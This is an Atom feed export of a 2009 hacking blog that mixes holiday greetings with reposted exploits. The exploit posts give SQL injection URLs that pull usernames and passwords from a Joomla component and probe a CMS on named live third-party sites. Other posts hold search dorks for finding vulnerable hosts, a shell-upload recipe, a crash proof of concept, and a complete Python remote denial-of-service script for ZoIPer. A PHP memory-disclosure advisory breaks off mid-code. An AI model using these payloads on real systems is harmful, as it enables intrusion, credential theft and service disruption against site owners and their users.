<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-7303225039625329658</id><updated>2012-02-08T11:45:12.296-08:00</updated><category term='news'/><category term='exploit'/><category term='vulnerabilities'/><category term='tutorial'/><title type='text'>matthews</title><subtitle type='html'>hacking, network learning and security</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://matthews-diablo.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://matthews-diablo.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>matthews</name><uri>http://www.blogger.com/profile/10585670491923691863</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_dwahXHUsR58/SpYKyGDma5I/AAAAAAAAABg/smf60jcCkFU/S220/nyubicrew.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>52</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-7303225039625329658.post-3687602176104951618</id><published>2009-12-23T19:06:00.000-08:00</published><updated>2009-12-23T19:15:57.357-08:00</updated><title type='text'>merry christmas 2009 and happy new year 2010</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_dwahXHUsR58/SzLcjczCQyI/AAAAAAAAAC4/8pd4N7RvjkA/s1600-h/tahun+baru.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 237px;" src="http://4.bp.blogspot.com/_dwahXHUsR58/SzLcjczCQyI/AAAAAAAAAC4/8pd4N7RvjkA/s320/tahun+baru.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5418635803263910690" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_dwahXHUsR58/SzLci2RZFhI/AAAAAAAAACw/spMl2KlK2l8/s1600-h/natal.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 200px;" src="http://1.bp.blogspot.com/_dwahXHUsR58/SzLci2RZFhI/AAAAAAAAACw/spMl2KlK2l8/s320/natal.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5418635792922252818" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Praying the blessings of the season&lt;br /&gt;will refresh you this Christmas and&lt;br /&gt;throughout the coming year&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7303225039625329658-3687602176104951618?l=matthews-diablo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://matthews-diablo.blogspot.com/feeds/3687602176104951618/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://matthews-diablo.blogspot.com/2009/12/merry-christmas-2009-and-happy-new-year.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/3687602176104951618'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/3687602176104951618'/><link rel='alternate' type='text/html' href='http://matthews-diablo.blogspot.com/2009/12/merry-christmas-2009-and-happy-new-year.html' title='merry christmas 2009 and happy new year 2010'/><author><name>matthews</name><uri>http://www.blogger.com/profile/10585670491923691863</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_dwahXHUsR58/SpYKyGDma5I/AAAAAAAAABg/smf60jcCkFU/S220/nyubicrew.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_dwahXHUsR58/SzLcjczCQyI/AAAAAAAAAC4/8pd4N7RvjkA/s72-c/tahun+baru.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7303225039625329658.post-1377033312209522790</id><published>2009-12-14T06:25:00.001-08:00</published><updated>2009-12-14T06:25:46.804-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='vulnerabilities'/><title type='text'>Eurologon CMS SQL Injection Vuln</title><content type='html'>Software : Eurologon Content Management System&lt;br /&gt;Vendor : http://www.content-manager.it/&lt;br /&gt;Author : NoGe&lt;br /&gt;Contact : noge[dot]code[at]gmail[dot]com&lt;br /&gt;Blog : http://evilc0de.blogspot.com/&lt;br /&gt;&lt;br /&gt;[o] Vulnerable file&lt;br /&gt;links.php&lt;br /&gt;&lt;br /&gt;[o] Exploit&lt;br /&gt;http://localhost/[path]/links.php?id=[SQL]&lt;br /&gt;&lt;br /&gt;[o] Proof of concept&lt;br /&gt;http://www.ream.it/links.php?id=5+AND+1=2+UNION+SELECT+1,2,3,4,version(),6/*&lt;br /&gt;http://www.fondazionefabretti.it/links.php?id=21+AND+1=2+UNION+SELECT+1,2,3,4,version(),6,7,8,9,10,11,12,13,14/*&lt;br /&gt;&lt;br /&gt;[o] Dork&lt;br /&gt;"Powered by Eurologon"&lt;br /&gt;&lt;br /&gt;[o] Notes&lt;br /&gt;this is a private script.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7303225039625329658-1377033312209522790?l=matthews-diablo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://matthews-diablo.blogspot.com/feeds/1377033312209522790/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://matthews-diablo.blogspot.com/2009/12/eurologon-cms-sql-injection-vuln.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/1377033312209522790'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/1377033312209522790'/><link rel='alternate' type='text/html' href='http://matthews-diablo.blogspot.com/2009/12/eurologon-cms-sql-injection-vuln.html' title='Eurologon CMS SQL Injection Vuln'/><author><name>matthews</name><uri>http://www.blogger.com/profile/10585670491923691863</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_dwahXHUsR58/SpYKyGDma5I/AAAAAAAAABg/smf60jcCkFU/S220/nyubicrew.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7303225039625329658.post-8231641920254802304</id><published>2009-11-28T05:46:00.000-08:00</published><updated>2009-11-28T05:47:43.139-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='vulnerabilities'/><title type='text'>Joomla Component com_lyftenbloggie Remote SQL injection vulnerability</title><content type='html'>#############################################################################################&lt;br /&gt;## Joomla Component com_lyftenbloggie Remote SQL injection vulnerability - (author)    ##&lt;br /&gt;## Author : kaMtiEz (kamzcrew[at]yahoo[dot]com)         ##&lt;br /&gt;## Homepage : http://www.indonesiancoder.com                     ##&lt;br /&gt;## Date : November 11, 2009                          ##&lt;br /&gt;#############################################################################################&lt;br /&gt;&lt;br /&gt;[ Software Information ]&lt;br /&gt;&lt;br /&gt;[+] Vendor : http://www.lyften.com/&lt;br /&gt;[+] Download : http://www.lyften.com/products/lyftenbloggie/download/id-10.html&lt;br /&gt;[+] Description : LyftenBloggie is a blog publishing component for Joomla 1.5. LyftenBloggie is both free and opensource.&lt;br /&gt;[+] version : 1.0.4 or lower maybe also affected&lt;br /&gt;[+] Vulnerability : SQL injection&lt;br /&gt;[+] Dork : inurl:"com_lyftenbloggie" / "Powered by LyftenBloggie"&lt;br /&gt;[+] LOCATION : INDONESIA - JOGJA&lt;br /&gt;&lt;br /&gt;#############################################################################################&lt;br /&gt;&lt;br /&gt;[ Vulnerable File ]&lt;br /&gt;&lt;br /&gt;http://server/index.php?option=com_lyftenbloggie&amp;author=[ValidID][INDONESIANCODER]&lt;br /&gt;&lt;br /&gt;[ Exploit ]&lt;br /&gt;&lt;br /&gt;http://server/index.php?option=com_lyftenbloggie&amp;author=62+union+select+1,concat_ws(0x3a,username,password),3,4,@@version,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30+from+jos_users--&lt;br /&gt;&lt;br /&gt;#############################################################################################&lt;br /&gt;&lt;br /&gt;[ Thx TO ]&lt;br /&gt;&lt;br /&gt;[+] INDONESIAN CODER TEAM KILL-9 CREW KIRIK CREW MainHack ServerIsDown&lt;br /&gt;[+] tukulesto,M3NW5,arianom,tiw0L,Pathloader,abah_benu,VycOd,och3_an3h&lt;br /&gt;[+] Contrex,onthel,yasea,bugs,olivia,Jovan,Aar,Ardy,invent,Ronz&lt;br /&gt;[+] Coracore,black666girl,NepT,ichal,tengik,Gh4mb4s,rendy,Jack- and YOU!!&lt;br /&gt;&lt;br /&gt;[ NOTE ] &lt;br /&gt;&lt;br /&gt;[+] Babe enyak adek i love u pull dah .. &lt;br /&gt;[+] Setelah Bertapa kagak jelas sama Om Don Tukuesto ... akhirnya nemu lobang :D&lt;br /&gt;[+] M3NW5 Ku tunggu di kotaku ... wkwkwkw&lt;br /&gt;&lt;br /&gt;[ QUOTE ]&lt;br /&gt;&lt;br /&gt;[+] kaMtiEz -=- Don Tukulesto -=- M3NW5 -=- 30 hari mencari AuraKasih Ntah di mana kao sekarang sayang ..&lt;br /&gt;[+] AURAKASIH telpon gua yach .. hha&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7303225039625329658-8231641920254802304?l=matthews-diablo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://matthews-diablo.blogspot.com/feeds/8231641920254802304/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://matthews-diablo.blogspot.com/2009/11/joomla-component-comlyftenbloggie.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/8231641920254802304'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/8231641920254802304'/><link rel='alternate' type='text/html' href='http://matthews-diablo.blogspot.com/2009/11/joomla-component-comlyftenbloggie.html' title='Joomla Component com_lyftenbloggie Remote SQL injection vulnerability'/><author><name>matthews</name><uri>http://www.blogger.com/profile/10585670491923691863</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_dwahXHUsR58/SpYKyGDma5I/AAAAAAAAABg/smf60jcCkFU/S220/nyubicrew.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7303225039625329658.post-6278149025295653590</id><published>2009-11-27T00:53:00.000-08:00</published><updated>2009-11-27T00:54:15.007-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='vulnerabilities'/><title type='text'>Flashden Shell Upload Vulnerability</title><content type='html'># Exploit Title: Flashden Shell Upload Vulnerability&lt;br /&gt;&lt;br /&gt;# Date: 26.12.2009&lt;br /&gt;&lt;br /&gt;# Author: DigitALL&lt;br /&gt;&lt;br /&gt;# Greetz: Zombie KroNickq HackSpy and ALL 1923Turk.Biz Members&lt;br /&gt;&lt;br /&gt;# Vendor: http://www.jurgenvisser.nl&lt;br /&gt;&lt;br /&gt;# Version: 2.0&lt;br /&gt;&lt;br /&gt;# Dork: inurl:"select_file2.php"&lt;br /&gt;&lt;br /&gt;# Application: Please Add Files ( Your Shell ) And Upload.&lt;br /&gt;&lt;br /&gt;# Shell: /test/shell.php --  /up/shell.php --  /upload/shell.php --  /beta/shell.php OR one back dir.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7303225039625329658-6278149025295653590?l=matthews-diablo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://matthews-diablo.blogspot.com/feeds/6278149025295653590/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://matthews-diablo.blogspot.com/2009/11/flashden-shell-upload-vulnerability.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/6278149025295653590'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/6278149025295653590'/><link rel='alternate' type='text/html' href='http://matthews-diablo.blogspot.com/2009/11/flashden-shell-upload-vulnerability.html' title='Flashden Shell Upload Vulnerability'/><author><name>matthews</name><uri>http://www.blogger.com/profile/10585670491923691863</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_dwahXHUsR58/SpYKyGDma5I/AAAAAAAAABg/smf60jcCkFU/S220/nyubicrew.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7303225039625329658.post-3933282645391958922</id><published>2009-11-25T18:21:00.000-08:00</published><updated>2009-11-25T18:24:39.432-08:00</updated><title type='text'>Idul-Adha 1428H</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_dwahXHUsR58/Sw3m02pMuUI/AAAAAAAAACo/quOlTBgrVF4/s1600/iduladha.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 238px;" src="http://3.bp.blogspot.com/_dwahXHUsR58/Sw3m02pMuUI/AAAAAAAAACo/quOlTBgrVF4/s320/iduladha.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5408232523237734722" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;/span&gt;selamat merayakan idul adha 1428 H&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7303225039625329658-3933282645391958922?l=matthews-diablo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://matthews-diablo.blogspot.com/feeds/3933282645391958922/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://matthews-diablo.blogspot.com/2009/11/idul-adha-1428h.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/3933282645391958922'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/3933282645391958922'/><link rel='alternate' type='text/html' href='http://matthews-diablo.blogspot.com/2009/11/idul-adha-1428h.html' title='Idul-Adha 1428H'/><author><name>matthews</name><uri>http://www.blogger.com/profile/10585670491923691863</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_dwahXHUsR58/SpYKyGDma5I/AAAAAAAAABg/smf60jcCkFU/S220/nyubicrew.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_dwahXHUsR58/Sw3m02pMuUI/AAAAAAAAACo/quOlTBgrVF4/s72-c/iduladha.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7303225039625329658.post-2014389542081002722</id><published>2009-10-15T19:10:00.001-07:00</published><updated>2009-10-15T19:10:54.406-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='exploit'/><title type='text'>Spider Solitaire local crash proof of concept exploit for Windows XP SP2.</title><content type='html'>&lt;?php&lt;br /&gt;/*&lt;br /&gt;Spider Solitaire (Windows XP SP2) Local Crash PoC&lt;br /&gt;By SirGod&lt;br /&gt;www.insecurity.ro&lt;br /&gt;www.twitter.com/SirGod&lt;br /&gt;Loading a corrupt save file(spider.sav) will result in a local crash&lt;br /&gt;of Spider Solitaire&lt;br /&gt;*/&lt;br /&gt;$username="pwn"; //Replace with your computer username&lt;br /&gt;$file="spider.sav";&lt;br /&gt;$junk="Spider Solitaire Local Crash";&lt;br /&gt;$handle = fopen($file, 'w') or die("Can't create file");&lt;br /&gt;fwrite($handle,$junk);&lt;br /&gt;fclose($handle);&lt;br /&gt;$file2="C:/Documents and Settings/" .$username. "/My Documents/spider.sav";&lt;br /&gt;if(!copy($file,$file2))&lt;br /&gt;{&lt;br /&gt;    die("Can't copy file");&lt;br /&gt;}&lt;br /&gt;  else&lt;br /&gt;{&lt;br /&gt;  echo "File succesfully copied.Open Spider Solitaire and load the&lt;br /&gt;last saved game";&lt;br /&gt;};&lt;br /&gt;?&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7303225039625329658-2014389542081002722?l=matthews-diablo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://matthews-diablo.blogspot.com/feeds/2014389542081002722/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://matthews-diablo.blogspot.com/2009/10/spider-solitaire-local-crash-proof-of.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/2014389542081002722'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/2014389542081002722'/><link rel='alternate' type='text/html' href='http://matthews-diablo.blogspot.com/2009/10/spider-solitaire-local-crash-proof-of.html' title='Spider Solitaire local crash proof of concept exploit for Windows XP SP2.'/><author><name>matthews</name><uri>http://www.blogger.com/profile/10585670491923691863</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_dwahXHUsR58/SpYKyGDma5I/AAAAAAAAABg/smf60jcCkFU/S220/nyubicrew.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7303225039625329658.post-2730709232895144057</id><published>2009-10-15T19:09:00.001-07:00</published><updated>2009-10-15T19:09:52.683-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='exploit'/><title type='text'>ZoIPer v2.22 Call-Info Remote Denial Of Service</title><content type='html'>#!/usr/bin/python&lt;br /&gt;&lt;br /&gt;# ZoIPer v2.22 Call-Info Remote Denial Of Service.&lt;br /&gt;# Remote Crash P.O.C.&lt;br /&gt;# Author: Tomer Bitton (Gr33n_G0bL1n)&lt;br /&gt;# Tested on Windows XP SP2 , SP3 , Ubuntu 8.10&lt;br /&gt;#&lt;br /&gt;# Vendor Notified on: 21/09/2009&lt;br /&gt;# Vendor Fix: Fixed in version 2.24 Library 5324&lt;br /&gt;#&lt;br /&gt;# Bad Chars: \x20 , \x09&lt;br /&gt;&lt;br /&gt;import sys&lt;br /&gt;import socket&lt;br /&gt;import os&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;def main(argc , argv):&lt;br /&gt;&lt;br /&gt;if len(sys.argv) != 2:&lt;br /&gt;os.system("cls")&lt;br /&gt;sys.exit("Usage: " + sys.argv[0] + " &lt;target_ip&gt;\n")&lt;br /&gt;&lt;br /&gt;target_host = sys.argv[1]&lt;br /&gt;target_port = 5060&lt;br /&gt;&lt;br /&gt;evil_packet =&lt;br /&gt;"\x49\x4e\x56\x49\x54\x45\x20\x73\x69\x70\x3a\x4e\x65\x6f\x40\x31"+\&lt;br /&gt;"\x30\x2e\x30\x2e\x30\x2e\x31\x20\x53\x49\x50\x2f\x32\x2e\x30\x0d"+\&lt;br /&gt;"\x0a\x56\x69\x61\x3a\x20\x53\x49\x50\x2f\x32\x2e\x30\x2f\x55\x44"+\&lt;br /&gt;"\x50\x20\x31\x39\x32\x2e\x31\x36\x38\x2e\x35\x37\x2e\x31\x33\x31"+\&lt;br /&gt;"\x3a\x31\x32\x39\x38\x3b\x62\x72\x61\x6e\x63\x68\x3d\x7a\x39\x68"+\&lt;br /&gt;"\x47\x34\x62\x4b\x4a\x52\x6e\x54\x67\x67\x76\x4d\x47\x6c\x2d\x36"+\&lt;br /&gt;"\x32\x33\x33\x0d\x0a\x4d\x61\x78\x2d\x46\x6f\x72\x77\x61\x72\x64"+\&lt;br /&gt;"\x73\x3a\x20\x37\x30\x0d\x0a\x46\x72\x6f\x6d\x3a\x20\x4d\x6f\x72"+\&lt;br /&gt;"\x70\x68\x65\x75\x73\x20\x3c\x73\x69\x70\x3a\x4d\x6f\x72\x70\x68"+\&lt;br /&gt;"\x65\x75\x73\x40\x31\x39\x32\x2e\x31\x36\x38\x2e\x35\x37\x2e\x31"+\&lt;br /&gt;"\x33\x31\x3e\x3b\x74\x61\x67\x3d\x66\x37\x6d\x58\x5a\x71\x67\x71"+\&lt;br /&gt;"\x5a\x79\x2d\x36\x32\x33\x33\x0d\x0a\x54\x6f\x3a\x20\x4e\x65\x6f"+\&lt;br /&gt;"\x20\x3c\x73\x69\x70\x3a\x4e\x65\x6f\x40\x31\x30\x2e\x30\x2e\x30"+\&lt;br /&gt;"\x2e\x31\x3e\x0d\x0a\x43\x61\x6c\x6c\x2d\x49\x44\x3a\x20\x77\x53"+\&lt;br /&gt;"\x48\x68\x48\x6a\x6e\x67\x39\x39\x2d\x36\x32\x33\x33\x40\x31\x39"+\&lt;br /&gt;"\x32\x2e\x31\x36\x38\x2e\x35\x37\x2e\x31\x33\x31\x0d\x0a\x43\x53"+\&lt;br /&gt;"\x65\x71\x3a\x20\x36\x32\x33\x33\x20\x49\x4e\x56\x49\x54\x45\x0d"+\&lt;br /&gt;"\x0a\x43\x6f\x6e\x74\x61\x63\x74\x3a\x20\x3c\x73\x69\x70\x3a\x4d"+\&lt;br /&gt;"\x6f\x72\x70\x68\x65\x75\x73\x40\x31\x39\x32\x2e\x31\x36\x38\x2e"+\&lt;br /&gt;"\x35\x37\x2e\x31\x33\x31\x3e\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74"+\&lt;br /&gt;"\x2d\x54\x79\x70\x65\x3a\x20\x61\x70\x70\x6c\x69\x63\x61\x74\x69"+\&lt;br /&gt;"\x6f\x6e\x2f\x73\x64\x70\x0d\x0a\x43\x61\x6c\x6c\x2d\x49\x6e\x66"+\&lt;br /&gt;"\x6f\x3a\x20\x20\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x4c"+\&lt;br /&gt;"\x65\x6e\x67\x74\x68\x3a\x20\x31\x32\x35\x0d\x0a\x0d\x0a"&lt;br /&gt;&lt;br /&gt;os.system("cls")&lt;br /&gt;print "[+] ZoIPer Call-Info Remote Denial Of Service\r\n"&lt;br /&gt;print "[+] Exploited By Gr33n_G0bL1n\r\n"&lt;br /&gt;print "[+] Connecting to %s on port %d\r\n" % (target_host,target_port)&lt;br /&gt;&lt;br /&gt;s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)&lt;br /&gt;try:&lt;br /&gt;s.connect((target_host,target_port))&lt;br /&gt;print "[+] Trying To Send Evil Packet...\r\n"&lt;br /&gt;s.sendall(evil_packet)&lt;br /&gt;s.close()&lt;br /&gt;print "[+] Done!\r\n"&lt;br /&gt;except:&lt;br /&gt;print "[x] Connection Error!\r\n"&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;if (__name__ == "__main__"):&lt;br /&gt;sys.exit(main(len(sys.argv), sys.argv))&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7303225039625329658-2730709232895144057?l=matthews-diablo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://matthews-diablo.blogspot.com/feeds/2730709232895144057/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://matthews-diablo.blogspot.com/2009/10/zoiper-v222-call-info-remote-denial-of.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/2730709232895144057'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/2730709232895144057'/><link rel='alternate' type='text/html' href='http://matthews-diablo.blogspot.com/2009/10/zoiper-v222-call-info-remote-denial-of.html' title='ZoIPer v2.22 Call-Info Remote Denial Of Service'/><author><name>matthews</name><uri>http://www.blogger.com/profile/10585670491923691863</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_dwahXHUsR58/SpYKyGDma5I/AAAAAAAAABg/smf60jcCkFU/S220/nyubicrew.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7303225039625329658.post-4268579585389151946</id><published>2009-10-15T19:08:00.000-07:00</published><updated>2009-10-15T19:09:09.500-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='vulnerabilities'/><title type='text'>PHP 5.2.10/5.3.0 (zend_ini.c) Memory Disclosure</title><content type='html'>-----BEGIN PGP SIGNED MESSAGE-----&lt;br /&gt;Hash: SHA1&lt;br /&gt;&lt;br /&gt;[ PHP 5.2.10/5.3.0 (zend_ini.c) Memory Disclosure ]&lt;br /&gt;&lt;br /&gt;Author: Maksymilian Arciemowicz&lt;br /&gt;http://SecurityReason.com&lt;br /&gt;Date:&lt;br /&gt;- - Dis.: 10.07.2009&lt;br /&gt;- - Pub.: 06.08.2009&lt;br /&gt;&lt;br /&gt;Risk: High&lt;br /&gt;&lt;br /&gt;Affected Software:&lt;br /&gt;- - PHP 5.3.0&lt;br /&gt;- - PHP 5.2.10&lt;br /&gt;&lt;br /&gt;Original URL:&lt;br /&gt;http://securityreason.com/achievement_securityalert/65&lt;br /&gt;&lt;br /&gt;- --- 0.Description ---&lt;br /&gt;PHP is an HTML-embedded scripting language. Much of its syntax is borrowed&lt;br /&gt;from C, Java and Perl with a couple of unique PHP-specific features thrown&lt;br /&gt;in. The goal of the language is to allow web developers to write&lt;br /&gt;dynamically generated pages quickly.&lt;br /&gt;&lt;br /&gt;http://lu2.php.net/manual/en/function.ini-restore.php&lt;br /&gt;&lt;br /&gt;ini_restore ? Restores the value of a configuration option&lt;br /&gt;&lt;br /&gt;ini_restore ( string $varname )&lt;br /&gt;&lt;br /&gt;- --- 1. PHP 5.2.10/5.3.0 (zend_ini.c) Memory Disclosure ---&lt;br /&gt;The main problem exist in restoring php config environments. To demonstrate&lt;br /&gt;the problem, we need to declare variables via ini_set() function. When we&lt;br /&gt;try use ini_restore(), variables in class PG() will indicate any part of&lt;br /&gt;memory.&lt;br /&gt;&lt;br /&gt;- ---zend_ini.c---&lt;br /&gt;static int zend_restore_ini_entry_cb(zend_ini_entry *ini_entry, int stage&lt;br /&gt;TSRMLS_DC) /* {{{ */&lt;br /&gt;{&lt;br /&gt;if (ini_entry-&gt;modified) {&lt;br /&gt;if (ini_entry-&gt;on_modify) {&lt;br /&gt;zend_try {&lt;br /&gt;/* even if on_modify bails out, we have to continue on with restoring,&lt;br /&gt;since there can be allocated variables that would be freed on MM&lt;br /&gt;shutdown&lt;br /&gt;and would lead to memory corruption later ini entry is modified again&lt;br /&gt;*/&lt;br /&gt;ini_entry-&gt;on_modify(ini_entry, ini_entry-&gt;orig_value,&lt;br /&gt;ini_entry-&gt;orig_value_length, ini_entry-&gt;mh_arg1, ini_entry-&gt;mh_arg2,&lt;br /&gt;ini_entry-&gt;mh_arg3, stage TSRMLS_CC);&lt;br /&gt;} zend_end_try();&lt;br /&gt;}&lt;br /&gt;if (ini_entry-&gt;value != ini_entry-&gt;orig_value) {&lt;br /&gt;efree(ini_entry-&gt;value);&lt;br /&gt;}&lt;br /&gt;ini_entry-&gt;value = ini_entry-&gt;orig_value;&lt;br /&gt;ini_entry-&gt;value_length = ini_entry-&gt;orig_value_length;&lt;br /&gt;ini_entry-&gt;modified = 0;&lt;br /&gt;ini_entry-&gt;orig_value = NULL;&lt;br /&gt;ini_entry-&gt;orig_value_length = 0;&lt;br /&gt;if (ini_entry-&gt;modifiable &gt;= (1 &lt;&lt; 3)) {&lt;br /&gt;ini_entry-&gt;modifiable &gt;&gt;= 3;&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;return 0;&lt;br /&gt;}&lt;br /&gt;- ---zend_ini.c---&lt;br /&gt;&lt;br /&gt;Flag modified will be reset, and we can not considered modified variable.&lt;br /&gt;We don't check value of ini_entry-&gt;on_modify() and PG() will be now out of&lt;br /&gt;memory range.&lt;br /&gt;&lt;br /&gt;To demonstrate this issue&lt;br /&gt;&lt;br /&gt;- ---example0 (5.2.10/5.3.0)---&lt;br /&gt;127# uname -a &amp;&amp; php -v&lt;br /&gt;OpenBSD 127.cxib 4.6 GENERIC#0 i386&lt;br /&gt;PHP 5.2.10 with Suhosin-Patch 0.9.7 (cli) (built: Jul 5 2009 21:43:12)&lt;br /&gt;Copyright (c) 1997-2009 The PHP Group&lt;br /&gt;Zend Engine v2.2.0, Copyright (c) 1998-2009 Zend Technologies&lt;br /&gt;with Suhosin v0.9.27, Copyright (c) 2007, by SektionEins GmbH&lt;br /&gt;127# cat /var/www/www/sess.php&lt;br /&gt;&lt;?php&lt;br /&gt;&lt;br /&gt;ini_set("session.save_path", 